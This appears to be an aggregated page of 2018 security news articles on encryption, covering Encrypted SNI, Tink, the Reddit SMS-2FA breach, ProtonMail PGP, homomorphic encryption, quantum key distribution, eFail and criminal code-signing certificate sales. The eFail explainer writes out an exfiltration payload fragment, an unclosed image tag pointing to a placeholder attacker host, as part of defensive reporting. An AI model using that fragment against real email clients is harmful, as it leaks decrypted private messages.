- Cryptography -

Last update 15.09.2017 10:18:26

Introduction  List  Kategorie  Subcategory  0  1  2  3  4  5 



Cloudflare Encrypts SNI Across Its Network
26.9.2018 securityweek
Crypto

Cloudflare this week announced it has turned on Encrypted SNI (ESNI) across all of its network, making yet another step toward improving user privacy.

The Transport Layer Security (TLS) Server Name Indication (SNI) extension was introduced to resolve the issue of accessing encrypted websites hosted at the same IP address. Before that, when a request was made for a HTTPS connection, the web server would only hand a single SSL certificate per IP address.

With SNI, however, if a web server hosts multiple domains, the request is routed to the correct site and the right SSL certificate is returned. This ensures that content is encrypted correctly and browsers widely adopted the TLS extension after its specification was introduced by the IETF in 2003.

The issue with SNI, however, is that it leaks the identity of the sites that the user visits. Thus, although the connection to the website is encrypted via HTTPS and the contents sent to and from the site are kept secure, information about the accessed websites isn’t.

“Today, as HTTPS covers nearly 80% of all web traffic, the fact that SNI leaks every site you go to online to your ISP and anyone else listening on the line has become a glaring privacy hole. Knowing what sites you visit can build a very accurate picture of who you are, creating both privacy and security risks,” Cloudflare’s Matthew Prince points out.

SNI requires clients to specify which site they want to connect to during the initial TLS handshake, but, as the client and server don’t share an encryption key yet, the ClientHello message is sent unencrypted.

This, however, changes with ESNI, which encrypts the SNI even if the rest of the ClientHello message remains in plaintext.

ESNI works by fetching a public key the server publishes on a well-known DNS record and replacing the SNI extension in ClientHello with a variant encrypted using a symmetric encryption key derived using the server’s public key.

The server can derive the symmetric encryption key (given that it owns the private key), and can then terminate the connection or forward it to a backend server. Only the client and the server can derive the encryption key, meaning that the encrypted SNI cannot be decrypted and accessed by third parties, Cloudflare’s Alessandro Ghedini notes.

ESNI is an extension to TLS version 1.3 and above, meaning that it doesn’t work with previous versions of the protocol. TLS 1.3 moves the Certificate message sent by the server to the encrypted portion of the TLS handshake (it was sent in plaintext before), thus preventing the attacker to determine the identity of the server through observing the plaintext certificates.

The client’s ESNI extension also includes the client’s public key share, the cipher suite it used for encryption, and the digest of the server’s ESNI DNS record, while the server generates a decryption key using its own private key share and the public portion of the client’s share. This ensures the encryption key is cryptographically tied to the TLS session it was generated for and cannot be reused.

To avoid exposing all ESNI symmetric keys generated from a server if the server’s private key is compromised, Cloudflare’s own SNI encryption implementation rotates the server’s keys every hour, yet also keeps track of the keys for the previous few hours to allow for DNS caching and replication delays.

Further privacy protections are ensured through features such as DNS over TLS (DoT) and DNS over HTTPS (DoH), which are provided through public DNS resolvers such as Cloudflare’s 1.1.1.1. One can, however, determine the visited websites by looking at the destination IP addresses on the traffic originating from users’ devices.

With Encrypted SNI now enabled across Cloudflare’s network, all of the company’s customers can take advantage of it, for free. It still requires browsers to adopt it, and Mozilla is expected to release the first supporting Firefox Nightly this week. The ESNI spec is still under development, so it’s not stable just yet.

“Encrypted SNI, along with TLS 1.3, DNSSEC and DoT/DoH, plugs one of the few remaining holes that enable surveillance and censorship on the Internet. More work is still required to get to a surveillance-free Internet, but we are (slowly) getting there,” Ghedini concludes.


Google Introduces Open Source Cross-Platform Crypto Library
5.9.2018 securityweek  Crypto

Google last week took the wraps off Tink, an open source, multi-language, cross-platform cryptographic library designed to help simplify common encryption operations.

Under development for the past two years, the cryptographic library has been available on GitHub since its early days and has already attracted a few external contributors.

Now at version 1.2.0 and with support for cloud, Android, iOS, and more, the library is already being used to secure data of Google products such as AdMob, Google Pay, Google Assistant, Firebase, the Android Search App, and others.

Built on top of existing libraries such as BoringSSL and Java Cryptography Architecture, Tink also includes a series of countermeasures that aim at mitigating weaknesses that Google’s Project Wycheproof discovered in those libraries.

Tink can simplify many common cryptographic operations. Data encryption, digital signatures, and more would only require a few lines of code, the Internet giant claims.

The library is providing cryptographic APIs that Google says are secure, as well as easy to use correctly, but harder to misuse.

“Tink aims to eliminate as many potential misuses as possible. For example, if the underlying encryption mode requires nonces and nonce reuse makes it insecure, then Tink does not allow the user to pass nonces,” Google explains.

The goal when building the library was to make it easy to improve product security. Thus, Tink shows the claimed security properties right in the interfaces, so that both security auditors and automated tools can quickly find instances where the security guarantees don’t match the security requirements.

Furthermore, the library isolates APIs for potentially dangerous operations, thus enabling the discovery, restriction, monitoring, and logging of these APIs’ usage.

Support for key management was also included in the library, including key rotation and phasing out deprecated ciphers, Google says.

Also designed to be extensible, Tink simplifies the addition of custom cryptographic schemes or in-house key management systems. All of Tink’s components are easy to replace or remove, all “are composable, and can be selected and assembled in various combinations,” Google says.

This means that anyone who only needs digital signatures, for example, can simply exclude symmetric key encryption components from the library, thus minimizing code size in their application.


Attackers Circumvent Two Factor Authentication Protections to Hack Reddit

3.8.2018 securityweek Crypto

Popular Community Site Reddit Breached Through Continued Use of NIST-Deprecated SMS Two Factor Authentication (2FA)

Online community site Reddit announced Wednesday that it was breached in June 2018. In a refreshingly candid advisory, it provides a basic explanation of how the incident occurred, details on the extent of the breach, details on its own response, and advice to potential victims.

The extent of the breach was limited. It was discovered on June 19, and occurred between June 14 and June 18, this year. "A hacker broke into a few of Reddit's systems and managed to access some user data, including some current email addresses and a 2007 database backup containing old salted and hashed passwords," announced Chris Slowe, CTO and founding engineer at Reddit.

With more than 330 million active monthly users, Reddit is home to thousands of online communities where users can share stories and host public discussions.

Apart from the limited extent, it was also limited in scope. "The attacker did not gain write access to Reddit systems; they gained read-only access to some systems that contained backup data, source code and other logs." This comprises a complete copy of an old database backup including account credentials and email addresses (2005 to 2007); logs containing email digests sent between June 3 and June 17, 2018; and internal data such as source code, internal logs, configuration files and other employee workspace files.

"The disclosure of email addresses and their connected Reddit usernames," warns Jessica Ortega, a security researcher at SiteLock, "could potentially mean attackers can identify and dox users -- that is, release personally identifying information -- who rely on Reddit for discussing controversial topics or posting controversial images. It is recommended that all Reddit users update their passwords."

Reddit's response to the breach has been to report the incident to, and cooperate with, law enforcement; to contact users who may be impacted; and to strengthen its own privileged access controls with enhanced logging, more encryption and required token-based 2FA. It also advises all users to move to token-based 2FA.

This advice is because it believes the breach occurred through SMS intercept on one of its own employees. "We learned that SMS-based authentication is not nearly as secure as we would hope, and the main attack was via SMS intercept."

This last comment has raised eyebrows. As long ago as 2016, NIST denounced SMS 2FA. "Due to the risk that SMS messages may be intercepted or redirected, implementers of new systems SHOULD carefully consider alternative authenticators," it stated in the DRAFT NIST Special Publication 800-63B.

The most common attack against SMS 2FA, explains Joseph Kucic, CSO at Cavirin, is mobile device malware designed to capture/intercept SMS messages -- a major feature for use against mobile banking apps. But, he adds, "SMS messages have had other risks: SIM swap and unauthorized access from SS7 (core telco signaling environments) -- these issues have been known and discussed in the security circles for years."

While Reddit doesn't make it clear whether the 'intercept' was via malware on an employee's mobile device or via flaws in the SS7 telecommunications protocol, the latter seems the most likely. SS7 is a telephony signaling protocol initially developed in 1975, and it has become deeply embedded in mobile telephone routing. As such it is unlikely to be corrected or replaced in the immediate future -- but the effect is that almost any mobile telephone conversation anywhere in the world can be intercepted by an advanced adversary.

The fact that SS7 attacks are not run-of-the-mill events makes Tom Kellermann, CSO at Carbon Black, wonder who might be behind the attack. "The Reddit breach seems to be more tradecraft-oriented," he told SecurityWeek. "They were victimized, but by whom: more than likely a nation-state given their capacity to influence Americans. I hope that they were not used to island hop into other victims' systems via a watering hole." According to Carbon Black research, 36% of cyberattacks attempt to leapfrog through the victims' systems into their customers' systems.

He is not alone in wondering if there may be more to this breach. "I am concerned that Reddit seems to be playing down the data breach as it was only read access to sensitive data and not write. This is positive news; however, it does not reduce the severity of the data breach when it relates to sensitive data," comments Joseph Carson, chief security scientist at Thycotic.

Of course, the attack may not have been effected via the SS7 flaws. "In this type of attack, the phone number is the weakest link," warns Tyler Moffit, senior threat research analyst at Webroot. "Cybercriminals can steal a victim's phone number by transferring it to a different SIM card with relative ease, thereby getting access to text messages and SMS-based authentication. For example, a cybercriminal would simply need to give a wireless provider an address, last 4 digits of a social security number, and perhaps a credit card to transfer a phone number. This is exactly the type of data that is widely available on the dark web thanks to large database breaches like Equifax."

"When Reddit started using SMS for Two Factor Authentication in 2003 it was a best practice," Joseph Kucic, CSO at Cavirin told SecurityWeek; adding, "The one fact about any security technology is that its effectiveness decreases over time for various reasons -- and one needs to take inventory of the deployed security effectiveness at least annually." He believes that security technologies, just like applications, have a product lifecycle, "and there is a point when an end-of-life should be declared before unauthorized individuals -- hackers or nation/state actors -- do it for you."

Reddit has earned plaudits for its breach notification as well as criticism for its continued use of SMS 2FA. "The level of detail Reddit provides," said Chris Morales, head of security analytics at Vectra, "is more than many larger organizations have provided on much more significant breaches. These details are based on an investigation and explain what happened during the breach -- how the attackers infiltrated the network and what exactly they gained access to -- and most importantly disclosed Reddit's internal processes to address the breach, including the hiring of new and expanded security staff."

Ilia Kolochenko, CEO at High-Tech Bridge, makes the point that despite Reddit's apparent openness, we still don't know everything about the breach. "Often, large-scale attacks are conducted in parallel by several interconnected cybercrime groups aimed to distract, confuse and scare security teams," he comments. "While attack vectors of the first group are being mitigated, others are actively exploited, often not without success. Otherwise, the disclosure and its timeline are done quite well done by Reddit."

He also cautions against placing too much blame on Reddit's use of SMS 2FA. "I would refrain from blaming the 2FA SMS -- in many cases it's still better than nothing. Moreover, when most of business-critical applications have serious vulnerabilities varying from injections to RCE, 2FA hardening is definitely not the most important task to take care of."

Nevertheless, the consensus is that Reddit should be applauded for its disclosure, but censured for its use of SMS 2FA. "Reddit won't be the last organization to be breached via SMS authentication in the future," comments Sean Sullivan, security advisor at F-Secure. "At this point, the use of SMS-based MFA for administrators should be considered negligent."


ProtonMail launches Address Verification and full PGP support
28.7.2018 securityaffairs Krypto

Address Verification allows you to be sure you are securely communicating with the right person, while PGP support adds encrypted email interoperability.
Starting with the latest release of ProtonMail on web (v3.14), iOS and Android (v1.9), and the latest versions of the ProtonMail IMAP/SMTP Bridge, ProtonMail now supports Address Verification, along with full PGP interoperability and support. In this article, we’ll discuss these two new features in detail, and how they can dramatically improve email security and privacy.

Address Verification
When ProtonMail first launched in 2014, our goal was to make email encryption ubiquitous by making it easy enough for anybody to use. This is no easy feat, and that’s probably why it had never been done before. Our guiding philosophy is that the most secure systems in the world don’t actually benefit society if nobody can use them, and because of this, we made a number of design decisions for the sake of better usability.

One of these decisions was to make encryption key management automatic and invisible to the user. While this made it possible for millions of people around the world to start using encrypted email without any understanding of what an encryption key is, the resulting architecture required a certain level of trust in ProtonMail.

While a certain level of trust is always necessary when you use online services, our goal is to minimize the amount of trust required so that a compromise of ProtonMail doesn’t lead to a compromise of user communications. This is the philosophy behind our use of end-to-end encryption and zero-access encryption, and it is also the philosophy behind Address Verification.

Prior to the introduction of Address Verification, if ProtonMail was compromised, it would be possible to compromise user communications by sending to the user a fake public encryption key. This could cause email communications to be encrypted in a way that an attacker, holding the corresponding fake private key, could intercept and decrypt the messages (this is also known as a Man-in-the Middle attack, or MITM), despite the fact that the encryption takes place client side.

Address Verification provides an elegant solution to this problem. We consider this to be an advanced security feature and probably not necessary for the casual user, but as there are journalists and activists using ProtonMail for highly sensitive communications, we have made adding Address Verification a priority.

How Address Verification works
Address Verification works by leveraging the Encrypted Contacts feature that we released previously. Starting with the latest version of ProtonMail, when you receive a message from a ProtonMail contact, you now have the option (in the ProtonMail web app) to Trust Public Keys for this contact. Doing so saves the public key for this contact into the encrypted contacts, and as contacts data is not only encrypted, but also digitally signed, it is not possible to tamper with the public encryption key once it has been trusted.

This means that when sending emails to this contact, it is no longer possible for a malicious third party (even ProtonMail) to trick you into using a malicious public key that is different from the one you have trusted. This allows for a much higher level of security between two parties than is possible with any other encrypted email service. You can learn more about using Address Verification in our knowledge base article.

PGP Support
At the same time as Address Verification, we are also launching full support for PGP email encryption. As some of you may know, ProtonMail’s cryptography is already based upon PGP, and we maintain one of the world’s most widely used open source PGP libraries. PGP support is also an advanced feature that we don’t expect most users to use. If you need secure email, the easiest and most secure way to get it is still to get both you and your contact on ProtonMail, or if you are an enterprise, to migrate your business to ProtonMail.

However, for the many out there who still use PGP, the launch of full PGP support will make your life a lot easier. First, any ProtonMail user can now send PGP encrypted emails to non-ProtonMail users by importing the PGP public keys of those contacts. Second, it is also possible to receive PGP email at your ProtonMail account from any other PGP user in the world. You can now export your public key and share it with them.

Therefore, your ProtonMail account can in fact fully replace your existing PGP client. Instead of sharing your existing PGP public key, you can now share the PGP public key associated with your ProtonMail account and receive PGP encrypted emails directly in your ProtonMail account.

If you are an existing PGP user and you would like to keep your existing custom email address (e.g. john@mydomain.com), we’ve got you covered there, too. It is possible to move your email hosting to ProtonMail and import your existing PGP keys for your address, so you don’t need to share new keys and a new email address with your contacts.

If you are using PGP for sensitive purposes, this might actually be preferable to continuing to use your existing PGP client. For one, PGP is fully integrated into ProtonMail, encryption/decryption is fully automated, and the new Address Verification feature is used to protect you against MITM attacks. More importantly though, ProtonMail is not susceptible to the eFail class of vulnerabilities, which have impacted many PGP clients, and our PGP implementations are being actively maintained.

You can find more details about using PGP with ProtonMail here.

Introducing ProtonMail’s public key server
Finally, we are formally launching a public key server to make key discovery easier than ever. If your contact is already using ProtonMail, then key discovery is automatic (and you can use Address Verification to make it even more secure if you want). But if a non-ProtonMail user (like a PGP user) wants to email you securely at your ProtonMail account, they need a way to discover your public encryption key. If they don’t get it from your public profile or website, they are generally out of luck.

Our public key server solves this problem by providing a centralized place to look up the public key of any ProtonMail address (and non-ProtonMail addresses hosted at ProtonMail).

Our public key server can be found at hkps://api.protonmail.ch (!! This link is used for HKP requests and cannot be accessed with a browser. However, if you want to download the public key of a ProtonMail users, simply replace the “username@protonmail.com” with the address you’re looking for and copy/paste the following link into your browser: https://api.protonmail.ch/pks/lookup?op=get&search=username@protonmail.com)

Concluding thoughts on open standards and federation
Today, ProtonMail is the world’s most widely used email encryption system, and for most of our users the addition of Address Verification and PGP support will not change how you use ProtonMail. In particular, setting up PGP (generating encryption keys, sharing them, and getting your contacts to do the same) is simply too complicated, and it is far easier for most people to simply create a ProtonMail account and benefit from end-to-end encryption and zero-access encryption without worrying about details like key management.

Still, launching PGP support is important to us. The beauty of email is that it is federated, meaning that anybody can implement it. It is not controlled by any single entity, it is not centralized, and there is not a single point of failure. While this does constrain email in many ways, it has also made email the most widespread and most successful communication system ever devised.

PGP, because it is built on top of email, is therefore also a federated encryption system. Unlike other encrypted communications systems, such as Signal or Telegram, PGP doesn’t belong to anybody, there is no single central server, and you aren’t forced to use one service over another. We believe encrypted communications should be open and not a walled garden. ProtonMail is now interoperable with practically ANY other past, present, or future email system that supports the OpenPGP standard, and our implementation of this standard is also itself open source.

ProtonMail PGP support

We still have a long way to go before we can make privacy accessible to everyone, and in the coming months and years we will be releasing many more features and products to make this possible. If you would like to support our mission, you can always donate or upgrade to a paid plan.


Data Security Startup Enveil Unveils Homomorphic Encryption Platform
4.7.2018 securityweek Krypto

Enveil's New "ZeroReveal" Platform Enables Homomorphic Encryption to Secure Data in Use

Sensitive data exposure is classified by OWASP as the third most critical web application vulnerability. Encryption is the primary solution. But encryption is only generally available for data at rest and data in transit -- leaving the third state of data (data in use) potentially exposed. Bank card details, for example, can be stored encrypted and can be transmitted encrypted -- but they currently must be decrypted and exposed at the point of processing.

Finding some way for data to remain encrypted and secure even during processing is considered the holy grail of encryption. One method, homomorphic encryption, was first mooted in 1978; but initially without any clear proof that it was possible. Today, start-up firm Enveil has launched the first practical and scalable commercial homomorphic encryption platform, ZeroReveal.

EnveilThe core technology originates from within the NSA. Enveil's CEO and founder, mathematician Ellison Anne Williams, worked on the project within the NSA as a senior researcher for 12 years. When she left in 2015 she took the technology with her, exclusively, and founded Enveil in 2016. Since then, Enveil has expanded and matured the core technology to the point of launching a commercial product.

"Continued reports of chip flaws [eg, Spectre and Meltdown] and data breaches in recent months make it clear that encrypting data at rest and in transit isn't good enough in today's volatile security environment. Organizations must eliminate the data in use security gap and do so in a way that won't negate investments in existing systems and protocols," explains Williams. "We allow you to securely use data where it is and as it is today, delivering nation-state level security -- no system overhaul required."

When people use data, it is typically undertaken by running a search or analytic over the data. Enveil concentrates on the security posture of that search or analytic as it is being performed.

"We have two-party form factor," Williams told SecurityWeek. "From a technology standpoint, it means that we can take a search or analytic that folks will want to perform over data, and we can encrypt that, and then we can run that encrypted search over massive amounts of data anywhere, without ever decrypting anything. We never decrypt the search itself, and if the underlying data also happens to be encrypted, we don't have to decrypt that either. We accomplish this through the ZeroReveal Compute Fabric where we can encrypt the search, send that out to the data location, and that can be processed there without ever being decrypted."

This is made possible by the magic math known as homomorphic encryption. "It's been around for a while," continued Williams, "and a lot of work has gone into it. It allows you to perform operations on encrypted data as if it were unencrypted data. This is powered by the mathematical nature of homomorphic encryption. Until now it has remained computationally intensive and not practical. Our major breakthrough has been moving this holy grail from the realm of the theoretical to the realm of the practical."

ZeroReveal solves very specific use cases. "How do I go and encrypt my most sensitive data and put it securely in the cloud," said Williams, "but yet still be able to process it in its encrypted state in the cloud platform? It has become practical because of advances in the way that we use the homomorphic encryption rather than simply massive increases in compute power."

One of ZeroReveal's great strengths is that it works on existing encrypted data -- the secret resides in the homomorphically encrypted search or analytic. "We sit above the storage technology," she said. "People don't have to change the mechanism of storage or how they currently encrypt their data. This is what is new. In traditional homomorphic systems, you must have the data itself encrypted homomorphically to operate on it. We don't do that at all. It's because we're looking for bit matches rather than character matches in the underlying data. It allows us to search across any data store, encrypted or unencrypted, and encrypted with any crypto and even graphics -- it's all represented by the bit values that we search on."

The use cases are already extensive, and will only grow with the increase of big data aggregators. Consider, for example, a third-party aggregation of financial data. The very act of searching that data for specific information can highlight confidential considerations of potential M&A activity. But with the search encrypted (irrespective of whether or how the big data itself is encrypted), no outside party will know what the query was.

It would allow health organizations to anonymize and encrypt personal health data, and allow researchers to analyze the data without it ever having to be decrypted. It would allow staff to work on sensitive data from home -- or anywhere -- over the weekend without having to decrypt and copy the data to a laptop. And it clearly has huge potential to protect both data owners and data processors concerned about GDPR.

"The range of potential use cases for homomorphic encryption is vast," says Garrett Bekker, principal analyst, Information Security at 451 Research. "By focusing on the encryption-in-use space, Enveil complements data-at-rest and data-in-motion encryption to fill a gap in the overall data security landscape."

Fulton, Maryland-based Enveil was founded in 2016 by Ellison Anne Williams. It raised $4 million from investors including Bloomberg, Thomson Reuters, USAA, In-Q-Tel and DataTribe. The firm focuses solely on securing data in use, and works seamlessly with existing investments in securing data at rest and data in transit.


Security Startup Quantum Xchange Promises Unbreakable Quantum-Safe Encryption
26.6.2018 securityweek  Krypto

Quantum Xchange Raises $10 Million, Launches Quantum Key Distribution Service

Bethesda, MD-based start-up Quantum Xchange has announced $10 Million Series A funding from New Technology Ventures, and the launch of the first commercial quantum key distribution (QKD) service in the U.S. The funding will support the deployment of a fiber network serving the Northeast Corridor from Washington D.C. to Boston, connecting the financial markets on Wall Street with back office operations in New Jersey.

The business premise is simple. The budding arrival of quantum computers will make current strong public key encryption immensely weak. Where current computing power would take too long or too many computers to make factoring large numbers feasible, one quantum computer could factor current public key lengths in a matter of minutes. Public key encryption will not provide security against quantum computers.

Quantum computing is not yet viable -- but it is getting closer every month. Within the last fortnight (15 June 2018), Microsoft blogged, "Microsoft is 'all-in' on building a quantum computer and is making advancements 'every day'."

"Quantum computers," explained Julie Love, director of quantum computing at Microsoft, "could solve a set of problems that are completely intractable to humans at this time, and it could do so in 100 seconds." Microsoft is so confident in its progress that it has already released a Quantum Development Kit for developers.

Quantum Xchange's president and CEO John Prisco told SecurityWeek that we cannot wait for the arrival of commercial quantum computing before we make plans to defend data in transit from quantum computing decryption. Sensitive data can be stolen and stored by both cyber criminals and nation states. While current encryption will keep that data safe from malicious eyes, within a relatively few years the encryption will be broken courtesy of qubit computing and become available to the attackers.

"Nation-states and other nefarious agents have been stockpiling encrypted data for years waiting for the arrival of technology to decode it," warns David Monahan, managing research director at Enterprise Management Associates. "Quantum computers capable of breaking existing SSL encryption may only be a few years away. The time to prepare for this eventuality is now. Organizations without a well-articulated quantum risk management plan will fall behind, and lose business to, those that do."

Quantum key distribution is the only provable way to keep encryption secure both now and in the future -- even against the power of quantum computers. It works at the quantum mechanics level, using photons of light to transfer a shared secret between two entities via a fiber connection. The nature of photons means that they cannot be intercepted without disturbing the quantum state. If this were to happen, it would be detected and the communication abandoned. The protection is based on the laws of physics rather than the power of mathematics.

The Quantum Xchange network is simply a very secure communication system using complex quantum laws of physics. It only operates over dark fiber, which is plentiful in the U.S. Network service providers have been laying down more fiber than they currently require for years.

Quantum Xchange adds the distance enhancing Trusted Node technology developed by Battelle -- which it exclusively owns -- to quantum keys generated by QKD devices from ID Quantique -- for which it has an exclusive U.S. licensing agreement. The combination, transmitted across plentiful U.S. dark fiber, allows the QKD range to be extended indefinitely in 100-mile multiples.

Quantum Xchange

"ID Quantique's QKD solutions have been working robustly in the field, securing Swiss elections for over a decade," comments Gregoire Ribordy, CEO and co-founder of ID Quantique. "Other long-term customers include banks, governments and enterprises worldwide. Quantum Xchange's model to provide end-to-end quantum keys on demand in the US will ensure easy accessibility for such customers to the highest levels of data protection, with inbuilt eavesdropping detection and forward security."

Quantum Xchange is launching its QKD system in the U.S. north east, crossing the financial and government powerhouse of the nation from Washington D.C. to Boston. Its great strength, however, is that distance is no longer a problem, and the firm plans to spread the QKD network across the nation.

"Quantum computing is emerging, and the availability of large-scale quantum computers is on the horizon," says Eric Hay, senior systems engineer at Quantum Xchange in a paper (PDF) published in March 2018. "The threat posed by quantum computing however, is here and now. QKD offers the most complete, secure solution that can be implemented today to secure data from the threat of quantum computing. Because the security is based on physics, not complex math, there is no threat from advances in computing, quantum or otherwise, that will break QKD."


Here's How eFail Attack Works Against PGP and S/MIME Encrypted Emails
25.5.2018 thehackernews  Krypto
With a heavy heart, security researchers have early released the details of a set of vulnerabilities discovered in email clients for two widely used email encryption standards—PGP and S/MIME—after someone leaked their paper on the Internet, which was actually scheduled for tomorrow.
PGP and S/MIME are popular end-to-end encryption standards used to encrypt emails in a way that no one, not even the company, government, or cyber criminals, can spy on your communication.
Before explaining how the vulnerability works, it should be noted that the flaw doesn't reside in the email encryption standards itself; instead, it affects a few email clients/plugins that incorrectly implemented the technologies.


Dubbed eFail by the researchers, the vulnerabilities, as described in our previous early-warning article, could allow potential attackers to decrypt the content of your end-to-end encrypted emails in plaintext, even for messages sent in the past.
According to the paper released by a team of European security researchers, the vulnerabilities exist in the way encrypted email clients handle HTML emails and external resources, like loading of images, styles from external URLs.
Here's How the eFail Attack Works:

Email clients are usually configured to automatically decrypt the content of encrypted emails you receive, but if your client is also configured to load external resources automatically, attackers can abuse this behavior to steal messages in plaintext just by sending you a modified version of the same encrypted email content.
The attack vector requires injected plaintext into the encrypted mail, and then using the exploit, it will exfiltrate the originally encrypted data as soon as any recipient's mail client accesses (or decrypts) the message
It should be noted that to perform an eFail attack, an attacker must have access to your encrypted emails, which is then modified in the following way and send back to you in order to trick your email client into revealing the secret message to the remote attacker without alerting you.


As described in the proof-of-concept attack released by the researchers, the attacker uses one of the encrypted messages you are supposed to receive or might have already received and then turns it into a multipart HTML email message, as well as forges the return address, so it appears to come from the original sender.
In the newly composed email, the attacker adds an unclosed image tag, like this <img src="https://attackersite.com/ just before the encrypted content and ends it by adding the end of the image tag, like this: .jpg">, as clearly shown in the screenshot.
When your vulnerable email client receives this message, it decrypts the encrypted part of the message given in the middle, and then automatically tries to render the HTML content, i.e., the image tag with all the decrypted text as the new name of the image, as shown below.

Since your email client will try to load the image from the attacker-controlled server, the attacker can capture this incoming request, where the filename contains the full content of the original encrypted email in plaintext.
Although PGP has been designed to show you a warning note if the integrity of your email is compromised, a few email clients do not display these warnings, allowing any potential attackers to perform eFail attacks successfully.
How To Prevent Against eFail Attacks

Generally, it is a very tough job for an advisory to even intercept your encrypted emails, but for people desperately using email encryption always attract well-resourced and sophisticated attackers.
Ditching the use of PGP or S/MIME to prevent eFail attacks would be stupid advice, as it is quite easy to mitigate the reported issues.
Users can switch to a good email client that always shows a warning when the integrity of the emails is compromised and doesn't render HTML emails by default to prevent loading of external resources automatically.
Researchers also advise users to adopt an authenticated encryption algorithm for sensitive communication.
The research was conducted by a team of researchers, including Damian Poddebniak, Christian Dresen, Fabian Ising, and Sebastian Schinzel from Munster University of Applied Sciences; Jens Müller, Juraj Somorovsky, and Jörg Schwenk from Ruhr University Bochum; and Simon Friedberger from KU Leuven.
For more in-depth details on the attack technique, you can head on to this informational page about the eFail attack and the paper [PDF] titled, "Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels," published by the researchers.


Samsung Smartphones Get Encrypted Communications
28.7.2018 securityweek Krypto

KoolSpan this week announced a partnership with Samsung to implement secure communications on Samsung smartphones.

KoolSpan, a provider of encrypted secure voice and messaging solutions for mobiles, is already offering secure communications to enterprises. With support for mainstream phones, which are normally used within organizations, the solutions bring end-to-end encryption to all internal calls and texts within a company.

The end result of the partnership between KoolSpan and Samsung is TrustCall Native for Samsung, which provides native dialer integration on Samsung devices and which is being demonstrated at the Mobile World Congress in Barcelona.

The solution is aimed at tackling the rise in attacks on mobile communications, which normally consist of calls and messages being intercepted through the exploitation of vulnerabilities in mobile internetworking protocols.

Last year, the U.S. Department of Homeland Security (DHS) issued a report to underline some of the issues plaguing mobile communications, suggesting that both deliberate and accidental threats to mobile security continue to exist.

TrustCall Native for Samsung is focused on addressing such concerns by offering more secure communications on Samsung smartphones. To ensure ease-of-use, it integrates with Samsung native functionality for phone, messaging and contacts and applies encryption automatically.

KoolSpan’s solution is managed, deployed and configured across all smartphones within an organization by the IT department and is integrated with the phone’s native dialer and messenger. TrustCall Native Secure Communications for Samsung is available for customers with a Samsung Enterprise Alliance Program (SEAP) account and a subscription to KNOX Configure.

“We’re excited to partner with KoolSpan, which enables us to implement secure communications on Samsung smartphones. TrustCall Native, one of KoolSpan’s flagship products, is the best example of the universal understanding that security is only as good as it is easy to use,” Mike Kazmierczak, Samsung B2B Business Development Manager, Mobile B2B Team, EMEA, said.


Counterfeit Code-Signing certificates even more popular, but still too expensive
25.2.2018 securityafffairs  Krypto

Code-signing certificates are precious commodities in the criminal underground, they are used by vxers to sign malware code to evade detection.
Other precious commodities in the criminal underground are code-signing certificates, they allow vxers to sign the code for malware to evade detection. Operators of the major black markets in the darknets buy and sell code-signing certificates, but according to an interesting research conducted by threat intelligence firm Recorded Future, the prices for them are too expensive for most hackers.

Cybercriminals would use the Dark Web for selling high-grade code certificates -which they have obtained from trusted certificate authorities- to anyone that is interested in purchasing them.

Sales of code signing certificates have increased considerably since 2015 when experts from IBM X-Force researchers provided some best practice guides on checking for trusted certificates.

Digital certificates allow companies to trust the source code of a software and to check its integrity, The certificates are issued by the certificate authorities (CAs) and are granted to companies that generate code, protocols or software so they can sign their code and indicate its legitimacy and originality.

Using signing certificates is similar to the hologram seal used on software packages, assuring they are genuine and issued from a trusted publisher. Users would receive alerts in an attempt to install files that are not accompanied by a valid certificate. This is why cybercriminals aim to use certificates for legitimizing the malware code they make.

According to Andrei Barysevich, Director of Advanced Collection at Recorded Future, most of the code-signing certificates are obtained by hackers due to fraud and not from security breaches suffered by the CAs.

“Recorded Future’s Insikt Group investigated the criminal underground and identified vendors currently offering both code signing certificates and domain name registration with accompanying SSL certificates.” states the report published by Recorded Future.

“Contrary to a common belief that the security certificates circulating in the criminal underground are stolen from legitimate owners prior to being used in nefarious campaigns, we confirmed with a high degree of certainty that the certificates are created for a specific buyer per request only and are registered using stolen corporate identities, making traditional network security appliances less effective.”

Cybercriminals offer the precious commodity via online shops, when buyers place an order the shop’s operators used stolen identities from a legitimate company and its employees to request the certificate for a fake app or website to the CAs (i.e. Comodo, Thawte, and Symantec). The certificates are used to encrypt HTTPS traffic or sign apps.

Recorded Future’s Insikt Group investigated the criminal ecosystem and identified vendors currently offering both code signing certificates and domain name registration with accompanying SSL certificates.

The researchers identified four well-known vendors operating since 2011, only two vendors are currently still active in Russian-speaking crime forums.

“One of the first vendors to offer counterfeit code signing certificates was known as C@T, a member of a prolific hacking messaging board.” continues the report. “In March 2015, C@T offered for sale a Microsoft Authenticode capable of signing 32/64b versions of various executable files, as well as Microsoft Office, Microsoft VBA, Netscape Object Signing, and Marimba Channel Signing documents, and supported Silverlight 4 applications. Additionally, Apple code signing certificates were also available.”

code-signing-certificates

Prices for code-signing certificates range from $299 to $1,799, most expensive items are the fully authenticated domains with EV SSL encryption and code signing capabilities.

“Standard code signing certificates issued by Comodo that do not include SmartScreen reputation rating cost $295. A buyer interested in the most trusted version of an EV certificate issued by Symantec would have to pay $1,599, a 230 percent premium compared to the price of the authentic certificate.” continues the report.

“For those seeking to purchase in bulk, fully authenticated domains with EV SSL encryption and code signing capabilities could also be arranged for $1,799”

code-signing certificates offer

According to recorded future, code signing certificates are not widespread among malware developers due to the high price.

Vxers prefer to pay less for other AV evasion tools, such as crypters (readily available at $10-$30)that represent an excellent compromise between cost and effectiveness

“Unlike ordinary crypting services readily available at $10-$30 per each encryption, we do not anticipate counterfeit certificates to become a mainstream staple of cybercrime due to its prohibitive cost.” concluded the report. “However, undoubtedly, more sophisticated actors and nation-state actors who are engaged in less widespread and more targeted attacks will continue using fake code signing and SSL certificates in their operations”


OpenSSL alpha adds TLS 1.3 support in the alpha version of OpenSSL 1.1.1
16.2.2018 securityaffairs Krypto

OpenSSL adds TLS 1.3 (Transport Layer Security) supports in the alpha version of OpenSSL 1.1.1 that was announced this week.
OpenSSL adds TLS 1.3 supports in the alpha version of OpenSSL 1.1.1 that was announced this week. TLS protocol was designed to allow client/server applications to communicate over the Internet in a secure way preventing message forgery, eavesdropping, and tampering.

“OpenSSL 1.1.1 is currently in alpha. OpenSSL 1.1.1 pre release 1 has now been made available.” states the OpenSSL’s announcement.

“This OpenSSL pre-release has been provided for testing ONLY. It should NOT be used for security critical purposes. The alpha release is available for download via HTTP and FTP from the following master locations (you can find the various FTP mirrors under https://www.openssl.org/source/mirror.html)”

